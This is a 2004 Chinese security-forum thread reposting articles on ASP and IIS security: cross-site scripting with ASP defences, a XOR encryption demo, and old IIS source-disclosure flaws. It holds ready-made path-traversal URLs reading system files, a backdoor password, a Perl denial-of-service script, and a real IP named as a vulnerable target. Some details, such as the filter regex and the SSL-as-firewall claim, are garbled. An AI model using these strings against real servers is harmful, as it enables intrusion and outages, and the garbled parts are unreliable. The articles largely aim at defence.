  恶意的标签和SCRIPT不单纯的恶作剧,他们甚至可以窃取资料和捣毁系统。一个聪明的甚至是不够聪明的黑客都能够使用SCRIPT干扰或者改变服务器数据的输入。利用
SCRIPT代码也能攻击客户系统,让你的硬盘尽损。而且你要知道,在你一边使用服务器的时候,黑客的SCRIPT也正在你服务器里安全的地方运行着的呀!如果客户对你的服
务器非常信认,同样他们也会信任那些恶意的SCRIPT代码。甚至这个代码是以〈SCRIPT〉或者〈OBJECT〉的形式来自黑客的服务器。
  即使使用了防火墙(SSL)也不能防止跨站SCRIPT的攻击。那是因为如果生成恶意SCRIPT代码的设备也使用了SSL,我们服务器的SSL是不能辨别出这些代码来的。我们
难道就这样把客户曾经那么信任的网站拱手让给黑客吗?而且有这种破坏的存在,会让你网站名誉尽损的。


一、跨站SCRIPT攻击示例:
  根据CERT的资料,动态输入大致有这几种形式:URL参数,表格元素,COOKISE以及数据请求。让我们来分析一下,这个只有两个页面的网站,网站名为:
MYNICESITE.COM。第一页使用一张表格或COOKIE来获取用户名:
<%@ Language=VBScript %>
<% If Request.Cookies("userName") <> "" Then
Dim strRedirectUrl
strRedirectUrl = "page2.asp?userName="
strRedirectUrl = strRedirectUrl & Response.Cookies("userName")
Response.Redirect(strRedirectUrl)
Else %>
<HTML>
<HEAD>
<TITLE>MyNiceSite.com Home Page</TITLE>
</HEAD>
<BODY>
<H2>MyNiceSite.com</H2>
<FORM method="post" action="page2.asp">
Enter your MyNiceSite.com username:
<INPUT type="text" name="userName">
<INPUT type="submit" name="submit" value="submit">
</FORM>
</BODY>
</HTML>
<% End If %>

第二页返回用户名以示欢迎:
<%@ Language=VBScript %>
<% Dim strUserName
If Request.QueryString("userName")<> "" Then
strUserName = Request.QueryString("userName")
Else
Response.Cookies("userName") = Request.Form("userName")
strUserName = Request.Form("userName")
End If %>
<HTML>
<HEAD></HEAD>
<BODY>
<H3 align="center">Hello: <%= strUserName %> </H3>
</BODY>
</HTML>
  当你正常常输入文字时,一切都很正常。如果你输入Script代码:<SCRIPT>alert('Hello.';</script>,JavaScript警告标签就会弹出来:
  在你下一次访问时,这个警示标签同样会出现;这是因为这个Script代码在你第一次访问的时后就已经留在cookie中了。这是一个简单的跨站攻击的范例。
  如果你认为这是一个特殊情况,你也不妨到网上别的地方看看,亲自试一下。我曾经对一些大型的政府网站、教育网站以及商业网站进行过测试,他们当中的确有部分
出现了以上所说的情况,我甚至发现了我经常使用信用卡的网站也居然对输入不进行任何过滤,想想真是可怕。



二、 用E-Mail进行跨站Script攻击
  跨站script攻击用在列表服务器,usenet服务器和邮件服务器来得特别容易。下面还是以MyNiceSite.com网站为例进行说明。由于你经常浏览这个网站,它的内容也
的确让你爱不爱不释手,因此在不知不觉中你就把浏览器的改成了总是信任这个动态网站内容的设置。
  MyNiceSite.com网站总是通过出售征订它们Email信件的邮箱地址来获得收入,这的确是一种不太好的办法。于是我买了它的一份邮箱地址。并发了大量的邮件给你们
。在信中我告诉你们尽快访问这个网 站,并检查你们帐户使用的最新情况。为了让你们感到方便,我在这信中也作了链接。我在这链接URL中的username参数中舔加了
script代码。有些客户在不知不觉中就点击了这个链接,也就是说上了我的当(如图),同时我也从中得到了好处:
  它是这样工作的,当你点击这个链接的时后,在链接里的script代码就会引导你所用浏览器去下载我的JavaScript程序并执行它。我的Script检查到你使用的是IE浏
览器后,就着手下载ActiceX控件 particularlyNasty.dll。因为之前你已经把这个网站的内容认为总是安全的,这样,我的script代码和Active 控件就能在你机器上
自由自在的运行了。


三、 Activex攻击说明
  在讨论ActiveX时,CERT和微软都没提到跨站script方法所带来的的危险。W3C在<<安全常见问题解答>>中对ActiveX的安全问题作了比较详尽的说明。Java applet
对系统的控制受到严格限制。SUN开发它时就规定,只有那些对系统的安全不构成威胁的操作才被允许运行。
  在另一方面,ActiveX对系统的操作就没有严格地被限制。如果一但被下载,就可以象安装的可执行程序一样做他们想干的事情。针对这一特点IE浏览器也作了某些限
制,如对于那些不安全的站点,在它的默认设置中就会不允许你进行下载或者会给你警告的提示。正在基于ActiveX进行开发的公司,如VeriSign公司,它们对ActiveX控
件都给编了号。当你在下载控件的时后,IE浏览器会给你警告并显示它的可信籁程度。由用户决定是否相信这个控件。这样一来系统的安全性就增加了。
  但是,对于那些没有多少经验的用户来说,他们往往不自觉地对原来的设置进行了修改,让这些控件在没有任何提示的情况下就下载了。另外,对一个新手来说,即使
在有提示的情况下也会不加思索地下载那些没作任何标记的控件。在我们所举的例子中,由于你对该站点的信任,改了浏览器的设置,这样,ActiveX控件在不经过任何提
示的情况下就下载,并在你的机器上不知不觉地开始运行。


四、16进制编码的ActiveX Script 攻击
  要把用心不良的标签和script区分出来是一件非常困难的事。Script还可以16进制的形式把自己藏起来。让我们看看下面这个E-mail范例好吗?它是以16进制的形式
被发送出去的:
  这几乎是一封完整的邮件,里面包含了以16进制伪造的URL参数:sender=mynicesite.com。当用户点击链接时,用户的浏览器就会直接开始第一例所说的处理过程而
弹出警告窗口。




第二部分:跨站Script攻击的防犯
一、如何避免服务器受到跨站Script的攻击
  值得庆幸的是,防止跨站Script攻击的技术正趋于完善。目前可采取这几种方式来防止跨站Script的攻击:
1.对动态生成的页面的字符进行编码
2.对输入进行过滤和限制
3.使用HTML和URL编码

1.对动态生成的页面的字符进行编码
  你们首先要采用的就是对动态生成页面的字符进行编码,你必须这样做,不然黑客很有可能更改你的字符设置而轻易地通过你的防线。如果我们的网站是个英语网站,
这样只要我们把字符编码设成拉丁字符ISO-8859-1就行了,具体情况如下:
<META http-equiv="Content-Type" content="text/html;charset=ISO-8859-1">
2.过滤和限制所有输入的数据
  这是防止跨站Script的攻击的第二种方法,在进行登录的时侯,不要让那些特殊的字符也输入进去。因此我们可在ONSUBMIT方法中加入JAVASCRIPT程序来完成这个功
能。在本例中我们限制最多只能输入15个字符。这样可以阻止那些较长的script的输入。
  在<<Knowledge Base Article QA252985>>这本书中微软提供了一个简短的Javascript程序来完成对输入数据的过滤。我们也根据具体情况引进了这段代码用于我们
的例子中,如:
function checkForm() {
document.forms[0].userName.value = _
RemoveBad(document.forms[0].userName.value);
return true;
}
// MICROSOFT'S CODE
function RemoveBad(strTemp) {
strTemp = strTemp.replace(/\</\>/\"/\'/\%/\;/\(/\)/\&/\+/\-/g,"");
return strTemp;
}
用这个办法,可以过滤在输入中含有的这些字符:
% < > [ ] { } ; & + - " '( )
3.使用HTML和URL编码
  尽管使用上面所说的过滤和限制输入的办法是一种非常重要用防御手段,但它对我的这种采用邮件方式的攻击还是无能为力。因为我把URL的参数直接放在邮件中。针
对这种情况我们不得不采取一种更有力的安全措施。如果我们用的ASP,解决起来相对说来要容易得多。只要对动态生成的网页总进行HTML和URL编码就行了。针对我们例子
中的情况,在第一输入页中我们对redirect URL作了如下改动:
strRedirectUrl = strRedirectUrl & _
server.URLEncode(Response.Cookies("userName"))
在执行页中我们加入:
strUserName =server.HTMLEncode(Request.QueryString("userName"))

strUserName =server.HTMLEncode(Request.Form("userName"))
  微软推荐对所有动态页面的输入和输出都应进行编码。甚至在对数据库数据的存入和取出也应如此。这样你就能在很大程度上避免跨站script的攻击。
要做到这些还要在Page1.asp中加入:
<%@ Language=VBScript %>
<% If Request.Cookies("userName") <> "" Then
'redirect if detect the cookie
Dim strRedirectUrl
strRedirectUrl = "page2.asp?userName="
strRedirectUrl = strRedirectUrl & _
server.URLEncode(Request.Cookies("userName"))
Response.Redirect(strRedirectUrl)
Else %>
<HTML>
<HEAD>
<META http-equiv="Content-Type"content="text/html; charset=ISO-8859-1">
<TITLE>MyNiceSite.com Home Page</TITLE>
</HEAD>
<SCRIPT LANGUAGE="javascript">
<!--
function checkForm() {
document.forms[0].userName.value =
RemoveBad(document.forms[0].userName.value);
return true;
}
//******************************************************
//Programmer: NOT ORIGINAL CODE - COMES FROM MICROSOFT
//Code Source: Microsoft Knowledge Base Article Q25z985
//Description: Removes bad characters.
//******************************************************
function RemoveBad(strTemp) {
strTemp =strTemp.replace(/\</\>/\"/\'/\%/\;/\(/\)/\&/\+/\-/g, "");
return strTemp;
}
//-->
</SCRIPT>
<BODY>
<BR>
<H2>MyNiceSite.com</H2>
<BR>
<FORM method="post"action="page2.asp" onsubmit="return checkForm();">
Enter your MyNiceSite.com username:
<INPUT type="text"name="userName" width="10" maxwidth="10">
<INPUT type="submit"name="submit" value="submit">
</FORM>
</BODY>
</HTML>
<% end if %>

Page2.asp中加如:
<%@ Language=VBScript %>
<% Dim strUserName
If Request.QueryString("userName")<>"" Then
strUserName =server.HTMLEncode(Request.QueryString("userName"))
Else
Response.Cookies("userName") =Request.Form("userName")
strUserName = server.HTMLEncode(Request.Form("userName"))
End If %>
<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html;charset=ISO-8859-1">
</HEAD>
<BODY>
<H3 align="center">Hello: <%= strUserName %></H3>
</BODY>
</HTML>
  现在由于这种攻击遭到有效的防制。那于那些恶意的标签和Script被编码,他们就被以文字的形式显现了出来,如下图:
  我们也可增加一个IIS组件用于过滤所有从动态输入中的特殊字符。对于那些已经做好的网站,采用这种办法来防止跨站script的攻击来得非常容易。我们的这个控件
能拦截来自ASP页面的REQUEST目标,可对表格,cookie,请求字串和程序的内容进行检测:
  我们也可以通过编写log文件的方法把统计数据加入这个组件中。每当一个客户输入一个非法字符时,这个组件会记下它的IP地址和时间。详情请见Doug Dean的
<<Roll your Own IIS Application on ASPToday>>一文。
  我们只需采取一些简单的步聚就能有效地阻止跨站script的攻击。除了以上所说的三种方法外,微软和CERT还强烈推荐使用一种他们称之为“sanity check”的方法
。例如,假设有个输入窗口只允许输入数字,我们就给它做个限定,只允许0-9数字的输入。微软和CERT所采用的这种对输入的字符进行限定的办法要比单独的采用过滤特
殊字符要好得多。采用了这些措施后你就能让那些参观你网站的客户在访问你网站时受到保护。
二、免受黑客攻击我们浏览器方法:
  当你在网上漫游的时侯,怎样来避免受到攻击呢?微软和CERT建议不要在网上胡碰乱撞。针对这种情况,PC杂志一个栏目的名叫John Dvorack作者作了一个饶有兴趣
的回答。他认为这是微软公司一起有预谋的行为:就是用来恐吓网上冲浪的人到那些安全的站点去浏览,如美国在线和MSN.com网站。
  在我们所举的例子中,即使你不在网上胡乱游荡,也不能避免在网上遭到黑客的袭击。具有讽刺意义的是,大多数的危险都来自于我们最信任的网站。如果要让网站一
定不出问题,你只好不下载任何动态内容或者任何cookie。预知详情请参阅浏览器的相关资料。
  微软也警告你们应把浏览器的Active Script设置成严格限制的状态并把Email也设成严格限制的接收模式。在点击邮件中的链接时,一定要小心。如需进一步了解情
况请参阅一本名叫<<Microsoft's Knowledge Base Article Q253117>>的书。为了以防万一,你最好是多一点上网经验,并且时刻要小心谨慎。
结论
  如果你是以前的UNIX程序开发人员,你也许不会知道跨站script意谓着什么。你知道许多站点的管理人员登录的用户名和密码分别为root,root.同样许多数据库管理
员的名称和密码分别为sa,password。你也知道Webzine(如Phrack 和 Alt2600),依据他们所提供的方法能让你一步步地知道某台服务器的弱点。在这种硬件上,你也知
道许多网站的数据库服务器和web服务器都没有进行自我保护。一但遭遇黑客,机器就得瘫痪。
  尽管我们很容易采取防止系统受到黑客的攻击的措施,但我们的系统是一直暴露在黑客面前的。我们完全有理由相信下一年还会出现一些新的安全漏洞。在CERT公司
John Howard先生指导下完成的一篇论文中曾提到:“跟据目前的研究显示,每个在英特网上具有域名的网站平均一年被黑客至少攻击一次。”
  对服务器来说那怕只是一次这种攻击也是不能承受的。跨站Script攻击是黑客可采用的另一种方法。但我们只要进行以上所说的一些简单的处理就能防止这种形式攻击
的发生。


B6层 发表时间: 04-02-10 22:21

回复: abctm [abctm]   版主   登录
使用ASP加密算法加密你的数据(一)
简介
首先简单介绍一下有关加密的背景。由于美国禁止几种密码算法的对外出口的加密位数(例如SSL的40位加密限制),本文将介绍一种ASP可以使用的简单字符加密算法,而
不是那些受限制的加密算法。其实,这里介绍的加密算法对于一般的运用来说已经足够解密人麻烦一阵子的了。它的加密基础是最简单的Vernum密码方法,我将在下一篇文
章中
介绍这种密码。
它的基本原理是,需要有一个需要加密的明文和一个随机生成的解密钥匙文件。然后使用这两个文件组合起来生成密文。
(明文) 组合 (密钥) = 加密后的密文
所以本文介绍的是生成密钥的代码。我们假设我们生成的密钥为512位长的密钥,它已经足够来加密一个文本字符了。代码如下:
KeyGeN.asp文件
<%
'******************************
' KeyGeN.asp
'******************************
Const g_KeyLocation = "C:\key.txt"
Const g_KeyLen = 512

On Error Resume Next

Call WriteKeyToFile(KeyGeN(g_KeyLen),g_KeyLocation)

if Err <> 0 Then
Response.Write "ERROR GENERATING KEY." & "<P>"
Response.Write Err.Number & "<BR>"
Response.Write Err.Description & "<BR>"
Else
Response.Write "KEY SUCCESSFULLY GENERATED."
End If

Sub WriteKeyToFile(MyKeyString,strFileName)
Dim keyFile, fso
set fso = Server.CreateObject("scripting.FileSystemObject")
set keyFile = fso.CreateTextFile(strFileName, true)
keyFile.WriteLine(MyKeyString)
keyFile.Close
End Sub

Function KeyGeN(iKeyLength)
Dim k, iCount, strMyKey
lowerbound = 35
upperbound = 96
Randomize ' Initialize random-number generator.
for I = 1 to iKeyLength
s = 255
k = Int(((upperbound - lowerbound) + 1) * Rnd + lowerbound)
strMyKey = strMyKey & Chr(k) & ""
next
KeyGeN = strMyKey
End Function

%>
在IIS下运行上面的KeyGeN.asp页面。你只需要如此做一次,他将把密钥写入文件c:\key.txt中 (如果你愿意的话,你也可以把这个文件放到另外一个更加安全的地方).
然后你可以打开这个key.txt文件,它将包含512个ASCII码在35到96之间的字符.并且由于是随机生成的,所以每个人的私人密钥文件key.txt将是不一样的,
下面是一个例子密钥文件:
IY/;$>=3)?^-+7M32#Q]VOII.Q=OFMC`:P7_B;<R/8U)XFHC<SR_E$.DLG'=I+@5%*+OP:F_=';'
NSY`-^S.`AA=BJ3M0.WF#T5LGK(=/<:+C2K/^7AI$;PU'OME2+T8ND?W$C(J\,;631'M-LD5F%%1
TF_&K2A-D-54[2P,#'*JU%6`0RF3CMF0(#T07U'FZ=>#,+.AW_/+']DIB;2DTIA57TT&-)O'/*F'
M>H.XH5W^0Y*=71+5*^`^PKJ(=E/X#7A:?,S>R&T;+B#<:-*\@)X9F`_`%QA3Z95.?_T#1,$2#FW
W5PBH^*<])A(S0@AVD8C^Q0R^T1D?(1+,YE71X+.*+U$:3XO^Q].KG&0N0];[LJ<OZ6IN?7N4<GT
L?(M'4S8+3JMK5]HC%^1^+K;\$WBXPA?F&5^E\D$7%*O/U[1/?8(5:1OVWV*1Z-%`:K&V?X1,1KU
RD@3W0^D)<OG40?(VJ4EWL5A5M<$A);CQ36R9I]*U#Q%1<Y\&SA%#1<V
下面再仔细分析一下上面的程序,我们发现其中的lowerbound和upperbound的数值其实就是你想使用来加密的ASCII字符范围。
后面一篇文章中将介绍如何使用这个密钥来加密和解密一个字符串





使用ASP加密算法加密你的数据(二)
在第一部分,讨论了如何生成密钥,下面将介绍如何使用这个密钥来加密和解密一个字符串。
下面的代码就是能够同时实现这个功能的函数
Crypt.asp文件
<%
Dim g_Key
Const g_CryptThis = "Now is the time for all good men to come to the aid of their country."
Const g_KeyLocation = "c:\key.txt"
g_Key = mid(ReadKeyFromFile(g_KeyLocation),1,Len(g_CryptThis))
Response.Write "<p>ORIGINAL STRING: " & g_CryptThis & "<p>"
Response.Write "<p>KEY VALUE: " & g_Key & "<p>"
Response.Write "<p>ENCRYPTED CYPHERTEXT: " & EnCrypt(g_CryptThis) & "<p>"
Response.Write "<p>DECRYPTED CYPHERTEXT: " & DeCrypt(EnCrypt(g_CryptThis)) & "<p>"
Function EnCrypt(strCryptThis)
Dim strChar, iKeyChar, iStringChar, I
for I = 1 to Len(strCryptThis)
iKeyChar = Asc(mid(g_Key,I,1))
iStringChar = Asc(mid(strCryptThis,I,1))
' *** uncomment below to encrypt with addition,
' iCryptChar = iStringChar + iKeyChar
iCryptChar = iKeyChar Xor iStringChar
strEncrypted = strEncrypted & Chr(iCryptChar)
next
EnCrypt = strEncrypted
End Function
Function DeCrypt(strEncrypted)
Dim strChar, iKeyChar, iStringChar, I
for I = 1 to Len(strEncrypted)
iKeyChar = (Asc(mid(g_Key,I,1)))
iStringChar = Asc(mid(strEncrypted,I,1))
' *** uncomment below to decrypt with subtraction
' iDeCryptChar = iStringChar - iKeyChar
iDeCryptChar = iKeyChar Xor iStringChar
strDecrypted = strDecrypted & Chr(iDeCryptChar)
next
DeCrypt = strDecrypted
End Function
Function ReadKeyFromFile(strFileName)
Dim keyFile, fso, f
set fso = Server.CreateObject("Scripting.FileSystemObject")
set f = fso.GetFile(strFileName)
set ts = f.OpenAsTextStream(1, -2)
Do While not ts.AtEndOfStream
keyFile = keyFile & ts.ReadLine
Loop
ReadKeyFromFile = keyFile
End Function
%>

在Crypt.asp中我们首先从密钥文件中得到密钥值,然后从这段密钥中截取和我们需要加密的明文同样长度的密钥。然后使用一个简单的异或操作将明文和密钥进行运算,
那么得到的结果就是加密后的密文了。过程很简单的。由于是使用了异或操作,所以解密将非常简单,只要使用同样的密钥对密文再次进行异或操作就能够解密了。
在上面介绍的基础上,你可以少加改动,就可以使用同样的方法加密一个文件。唯一需要注意的是,对于一个二进制文件,你需要做一些完整性检查以保证转换回来的字符
不要越界。现在你需要做的就是把密钥保存在服务器上的一个安全的地方(不能够被外部访问)
附注:
Vernam密码是由Gilbert Vernam (他是AT&T的工程师)在1918年发明的。
这是一种使用异或方法进行加密解密的方法。
 


B7层 发表时间: 04-02-10 22:22

回复: abctm [abctm]   版主   登录
通过asp入侵web server,窃取文件毁坏系统

本文主要叙及有关asp/iis的安全性问题及其相应对策,不提倡网友使用本文提及的方法进行任何破坏,否则带来的后果自负通过asp入侵web server,窃取文件毁坏系统,
这决非耸人听闻...
iis的安全性问题
1.iis3/pws的漏洞
我实验过,win95+pws上运行ASP程序,只须在浏览器地 址栏内多加一个小数点ASP程序就会被下载下来。IIS3听说也有同样的问题,不过我没有试出来。
2.iis4的漏洞
iis4一个广为人知的漏洞是::$DATA,就是ASP的url后多加这几个字符后,代码也可以被看到,使用ie的view source就能看到asp代码。Win98+pws4没有这个问题。解决
的办法有几种,一是将目录设置为不可读(ASP仍能执行),这样html文件就不能放在这个目录下,否则html不能浏览。二是安装微软提供的补丁程序。三是在服务器上安
装ie4.01sp1。
3.支持ASP的免费主页面临的问题你的ASP代码可能被人得到。ASP1.0的例子里有一个文件用来查看ASP原代码,/ASPSamp/Samples/code.asp
如果有人把这个程序弄上去了,他就可以查看别人的程序了。
例如: code.asp?source=/someone/aaa.asp
你使用的ACCESS数据库可能被人下载既然ASP程序可以被人得到,别人就能轻而易举的知道你的数据库放在何处,并下载它,如果数据库里含有的密码不加密,那...就很危
险了。webmaster应该采取一定的措施,严禁code.asp之类的程序(似乎很难办到,但可以定期检索特征代码),限制mdb的下载(不知行不行)
4.来自filesystemobject的威胁IIS4的ASP的文件操作可以通过filesystemobject实现,包括文本文件的读写
目录操作、文件的拷贝改名删除等,但是这个东东也很危险。利用filesystemobjet可以篡改下载fat分区上的任何文件,即使是ntfs,如果权限没有设定好的话,同样也
能破坏,遗憾的是很多webmaster只知道让web服务器运行起来,很少对ntfs进行权限设置。比如,一台提供虚拟主机服务的web服务器,如果权限没有设定好,用户可以轻
而易举地篡改删除机器上地任何文件,甚至让nt崩溃。程序请参考http://www.pridechina.com/chinaasp/上的active server explorer,
该程序可以浏览不设防web服务器的所有文件和目录。
webmater应该将web目录建在ntfs分区上,非web目录不要使用everyone full control,而应该是administrator才可以full control。



B8层 发表时间: 04-02-10 22:23

回复: abctm [abctm]   版主   登录
MS IIS server/Frontpage Ext Server

描述
微软开发的两个动态库存在后门允许用户查看ASP文件源程序和下载整个网站详细随IIS和Frontpage Extention server而来的动态库程序,存在后门,允许用户远程读取
asp、asa和CGI程序的源代码。但这个动态库要求有密码,这个后门的密码是: "Netsc ape engineers are weenies!"
程序路径为: /_vti_bin/_vti_aut/dvwssr.dll
一般安装了 Frontpage98的 IIS服务器都有这个路径和文件。这个程序要求解码后才能发挥读取asp等源程序的功能,有趣的是,这个密码正是嘲弄其竞争对手Netscape
的。
我们提供一个有该漏洞的国外网站给安全技术人员参考: http://62.236.90.195
其网站上有一个ASP程序 : http://62.236.90.195/cqsdoc/showcode.asp
关于读取源程序,请下载这个测试程序,用法为:
[john@Linux john]$ ./dvwssr1.pl 62.236.90.195 /cqsdoc/showcode.asp
国内有很多网站都有这个漏洞,请管理员尽快更正!
另外, dvwssr.dll还存在缓冲溢出,容易被DOS攻击,对于这个缓冲溢出的漏洞,可能能利用远程执行指令,但目前没有可用的exploit出来。
有一个DOS的脚本:
#!/usr/bin/perl
print "GET /_vti_bin/_vti_aut/dvwssr.dll?";
print "a" x 5000;
print " HTTP/1.1\nHost: yourhost\n\n";
另注:对该漏洞的说法,发现者、bugtraq和微软都有不同的版本微软不认为这是后门,但有咬文嚼字之嫌。
参见: http://www.microsoft.com/technet/security/bulletin/fq00-025.asp
这个漏洞的实质是一个字符串,就是我们前面提到的 "Netscape engineers are weenies!"
只要知道这个字符串,和了解相关的算法,就可以获得ASP等程序的源码。
我们已经做了大量测试,证实的确有效。
解决方案
删除 dvwssr.dll
安装 Office 2000 Server Exten
 


B9层 发表时间: 04-02-10 22:24

回复: abctm [abctm]   版主   登录
虚拟web目录容易泄露ASP源代码 (MS,缺陷)

涉及程序:
Microsoft Internet Information Server/Index Server
描述:
震撼安全发现:新的漏洞允许查看web服务器上任何文件包括ASP源码
详细:
IIS4.0上有一个应用程序映射htw--->webhits.dll,这是用于Index Server的点击功能的。尽管你不运行Index Server,该映
射仍然有效。这个应用程序映射存在漏洞,允许入侵者读取本地硬盘上的文件,数据库文件,和ASP源代码!
有两种方法来实现,第一,如果你的web server上存在.htw后缀的文件,则可以过下面的方式来查看文件内容,比如查看
odbc.ini文件的内容: http://www.xxx.com/iissamples/issamples/oop/qfullhit.htw?
CiWebHitsFile=/../../winnt/odbc.ini&CiRestriction=none&CiHiliteType=Full
对于IIS的一般安装模式可以在下列位置找到.htw文件:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/iissamples/exair/search/qfullhit.htw
/iissamples/exair/search/qsumrhit.htw
/iishelp/iis/misc/iirturnh.htw
第二、如果你的web server上不存在这个文件,有漏洞的系统仍然允许用户调用webhits.dll,具体方式如下: http://www.xxx.com/default.htm%20%20%20%20%20.htw?
CiWebHitsFile=/../../winnt/odbc.ini&CiRestriction=none&CiHiliteType=Full
条件是default.htm必须存在。这个文件名可以是其它文件,但必须存在。webhits.dll将会把这个文件作为临时文件打开。当上
述URL中的空格符%20达到一定数目时,web服务的识别功能可能会出现问题,这样webhits.dll将打开指定的文件
\winnt\odbc.ini。如果成功,用同样的方法可以打开更多的文件,包括ASP代码。近似的原理请见下面这段代码:
FILE *fd;
int DoesTemplateExist(char *pathtohtwfile)
{
// Just in case inetinfo.exe passes too long a string
// let's make sure it's of a suitable length and not
// going to open a buffer overrun vulnerability
char *file;
file = (char *)malloc(250);
strncpy(file,pathtohtwfile,250);
fd = fopen(file,"r");
// Success
if(fd !=NULL)
{
return 1;
}
// failed
else
{
return 0;
}
}
解决方案:
不使用index server功能的用户,可以在IIS管理控制台中,点 web站点,属性,选择主目录,配置(起始点),应用程序映射,
将htw与webhits.dll的映射删除。
如果要用到webhits.dll,则使用下面的补丁:
Index Server 2.0(Intel机器)的补丁
Index Server 2.0(Alpha机器)的补丁
Windows2000的Index Server服务补丁
安全建议:
建议在IIS控制台中删除无用的应用程序映射
相关站点: http://www.microsoft.com/technet/security/bulletin/ms00-006.asp
from: http://www.cnns.net/article/db/49.htm


B10层 发表时间: 04-02-10 22:26

回复: abctm [abctm]   版主   登录
用ASP实现网页保密的两种方法

  在维护公司内部网站时碰到一个实际问题――MIS主管要求将一些技术文件放在网页上,且只能让MIS 的员工浏览。这就涉及到如何对网页保密的问题。
  最初我借助Frontpage和Vbscript设计了一种方案,链接MIS技术页(此处预设为actpwdrst.htm)之前,先 链接actpwd.htm输入名称和密码(此处名称和密码都预设
为“mis”),只有正确输入后,才能链接到actpwdrst.htm。 以下是它们的代码。
   Actpwd.htm 代 码 如 下:
< html >
< head >
< title > 密 码< /title >
< /head >
< body >
< form name=“form1” >
< input type=“hidden”
name=“VTI-GROUP”_ value=“0” >
< div align=“center” >< center >< p >
名 称< input type =“text”
name=“T1” size=_“20” >
密 码< input type =“password”
name=“T2”_ size=“20” >
< input type=“button” value=“
确 认”_ name=“B1” >
< /p >< /center >< /div >
< /form >
< p >
< script language=“vbscript” >
< !-
sub b1_onclick()
if form1.t1.value=“mis” and_ form1.t2.value=“mis” then
document.location=_“actpwdrst.htm”
else
m1=msgbox(“ 密 码 错 误_
”,0+48, “Warring”)
end if
end sub
// -- >
< /script >
< /p >
< /body >
< /html >
Actpwdrst.htm 代 码 如 下:
< html >
< head >
< title > 密 码< /title >
< /head >
< body >
< p align=“center” >
< font face=“ 标 楷 体” size=“7” color=“0000ff” >
< strong >
你 已 成 功 登 录 !
< /strong >
< /font >
< /p >
< /body
< /html >
  细心的朋友可能已发现这种方案的不可靠性――输入和判断都在actpwd.htm中完成,不管输入的名称和密码是不是正确的,只要记住了actpwdrst.htm 所在的URL,根
本就不需要通过actpwd.htm 就可直接链接actpwdrst.htm。所以这种方案的保密系数就不是很好。
  下面看看采用ASP设计的方案。链接MIS技术页(此处预设为asppwdrst.asp)之前,先链接asppwd.asp输入 名称和密码(此处名称和密码都预设为“mis”),只有正确
输入后,才能链接到asppwdrst.asp。以下是它们的 代码。
Asppwd.asp 代 码 如 下:
< html >
< body >
< form name=“form1” action=
“asppwdrst.asp” method_
=“POST” >
< input type=“hidden” name=
“VTI-GROUP” value=_“0” >
< div align=“center” >< center >< p >
名 称< input type=“text”
name=“T1” size=“20” >
密 码< input type =
“password” name=“T2” size=_“20” >
< input type=“submit” value=
“ 确 认” name=_“B1” >
< /p >< /center >< /div >
< /form >
< /body >
< /html >
Asppwdrst.asp 代 码 如 下:
< html >
< % if rtrim(request.form(“t1”))=
“mis” and_ rtrim(request.form(“t2”))=
“mis” then % >
< body >
< p align=“center” >< font face=
“ 标 楷 体” size=“7”_ color=“#0000ff” >
< strong > 你 已 成 功 登 录 !
< /strong >< /font >< /p >
< /body >
< % else % >
< body >
< p align=“center” >< font face=
“ 标 楷 体” size=“7”_ color=“#0000ff” >
< strong > 请 输 入 正 确 的 用 户 名 和 密 码
< /strong >< /font >< /p >
< /body >
< % end if % >
< /html >

  在这个方案里asppwd.asp只提供输入的功能,而名称和密码的确认工作由asppwdrst.asp来做。这样即使 您记住了asppwdrst.asp所在的URL,也看不到具体的内容
。所以用这种方案设计的网页保密系数就很高。
 


B11层 发表时间: 04-02-10 22:27

回复: abctm [abctm]   版主   登录
到次结束,希望对大家有用

B12层 发表时间: 04-02-10 22:27

回复: NetPolaris [newmyth21]   论坛用户   登录


B13层 发表时间: 04-02-11 04:36

回复: hn20 [hn20]   论坛用户   登录
挺全!

B14层 发表时间: 04-02-18 21:27

回复: aserict [aserict]   论坛用户   登录
谢谢

B15层 发表时间: 04-02-19 22:29

回复: lianjl [lianjl]   论坛用户   登录
值得珍藏!辛苦啦!

B16层 发表时间: 04-02-20 22:59

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号